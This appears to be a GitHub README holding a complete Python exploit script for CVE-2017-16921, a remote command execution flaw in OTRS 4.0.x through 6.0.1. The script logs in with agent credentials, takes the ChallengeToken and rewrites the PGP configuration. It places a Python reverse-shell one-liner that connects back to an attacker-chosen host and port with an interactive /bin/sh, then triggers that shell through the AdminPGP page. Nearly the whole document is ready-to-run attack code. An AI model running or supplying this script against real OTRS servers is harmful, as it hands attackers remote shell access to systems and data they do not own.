README.md
Rendering markdown...
# Exploit Title: OTRS 4.0.1/6.0.1 - Remote Command Execution
# Date: 11-08-2024
# Exploit Author: Sm4rtF0x
# Vendor Homepage: https://www.otrs.com/
# Software Link: http://ftp.otrs.org/pub/otrs/
# Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1
# Tested on: OTRS 5.0.2/CentOS 7.2.1511
# CVE: CVE-2017-16921
#!/usr/bin/env python3
"""
This exploit is developed based on https://www.exploit-db.com/exploits/43853
It will perform the authentication against OTRS panel and provide a reverse shell.
Usage: python3 CVE-2017-16921.py <RHOST> <email> <password> <LHOST> <LPORT>
CVE-2017-16921:
In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user.
Credits to Hex_26 for the ChallengeToken retrieval function.
"""
import requests
import argparse
parser = argparse.ArgumentParser(description='Send a series of requests to the OTRS system.')
parser.add_argument('server_ip', type=str, help='The IP address of the OTRS server.')
parser.add_argument('email', type=str, help='The email address to log in with.')
parser.add_argument('password', type=str, help='The password to log in with.')
parser.add_argument('ip', type=str, help='The local IP address to use in the payload.')
parser.add_argument('port', type=int, help='The local port number to use in the payload.')
args = parser.parse_args()
url_login = f"http://{args.server_ip}/otrs/index.pl"
headers_login = {
"Host": args.server_ip,
"Cache-Control": "max-age=0",
"Accept-Language": "en-US",
"Upgrade-Insecure-Requests": "1",
"Origin": f"http://{args.server_ip}",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": f"http://{args.server_ip}/otrs/index.pl",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
data_login = {
"Action": "Login",
"RequestedURL": "",
"Lang": "en",
"TimeOffset": "240",
"User": args.email,
"Password": args.password
}
session = requests.Session()
response_login = session.post(url_login, headers=headers_login, data=data_login)
if "Login failed! Your user name or password was entered incorrectly." in response_login.text:
print("Login failed: Incorrect username or password.")
else:
print("Login successful.")
url_sysconfig = f"http://{args.server_ip}/otrs/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework"
response_sysconfig = session.get(url_sysconfig, headers=headers_login)
if response_sysconfig.status_code == 200:
print("Navigated to SysConfig successfully.")
print("Retrieving the ChallengeToken...")
contents = response_sysconfig.text
challTokenStart = contents.find('<input type="hidden" name="ChallengeToken" value="') + 50
challengeToken = contents[challTokenStart:challTokenStart + 32]
print("ChallengeToken retrieved: ", challengeToken)
payload_update = {
"ChallengeToken": challengeToken,
"Action": "AdminSysConfig",
"Subaction": "Update",
"SysConfigGroup": "Framework",
"SysConfigSubGroup": "Crypt::PGP",
"DontWriteDefault": "1",
"PGP": "1",
"PGP::Bin": "/usr/bin/python",
"PGP::Options": f"-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{args.ip}\",{args.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
"PGP::Key::PasswordKey[]": "D2DF79FA",
"PGP::Key::PasswordContent[]": "SomePassword",
"PGP::Key::PasswordDeleteNumber[]": "1",
"PGP::TrustedNetworkItemActive": "1",
"PGP::TrustedNetwork": "0",
"PGP::LogKey[]": "VALIDSIG",
"PGP::LogContent[]": "The+PGP+signature+with+the+keyid+is+good.",
"PGP::LogDeleteNumber[]": "1",
"PGP::StoreDecryptedData": "1"
}
headers_update = headers_login.copy()
headers_update["Referer"] = url_sysconfig
headers_update["Cookie"] = "; ".join([f"{key}={value}" for key, value in session.cookies.items()])
response_update = session.post(url_sysconfig, headers=headers_update, data=payload_update)
if response_update.status_code == 200:
print("PGP settings updated successfully.")
url_admin = f"http://{args.server_ip}/otrs/index.pl?Action=Admin"
response_admin = session.get(url_admin, headers=headers_login)
if response_admin.status_code == 200:
print("Navigated to Admin tab successfully.")
url_pgkeys = f"http://{args.server_ip}/otrs/index.pl?Action=AdminPGP"
response_pgkeys = session.get(url_pgkeys, headers=headers_login)
if response_pgkeys.status_code == 200:
print("Reverse shell triggered. Check your listener.")
else:
print(f"Failed to trigger reverse shell. Status code: {response_pgkeys.status_code}")
else:
print(f"Failed to navigate to Admin tab. Status code: {response_admin.status_code}")
else:
print(f"Failed to update PGP settings. Status code: {response_update.status_code}")
else:
print(f"Failed to navigate to SysConfig. Status code: {response_sysconfig.status_code}")